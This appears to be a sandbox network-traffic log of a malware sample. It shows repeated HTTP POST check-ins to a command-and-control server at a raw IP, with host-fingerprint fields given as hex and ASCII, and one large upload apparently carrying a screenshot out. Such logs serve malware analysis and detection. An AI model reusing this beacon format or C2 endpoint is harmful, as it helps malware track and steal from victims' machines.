Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTY4OTU=Host: 45.9.74.80Content-Length: 97047Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
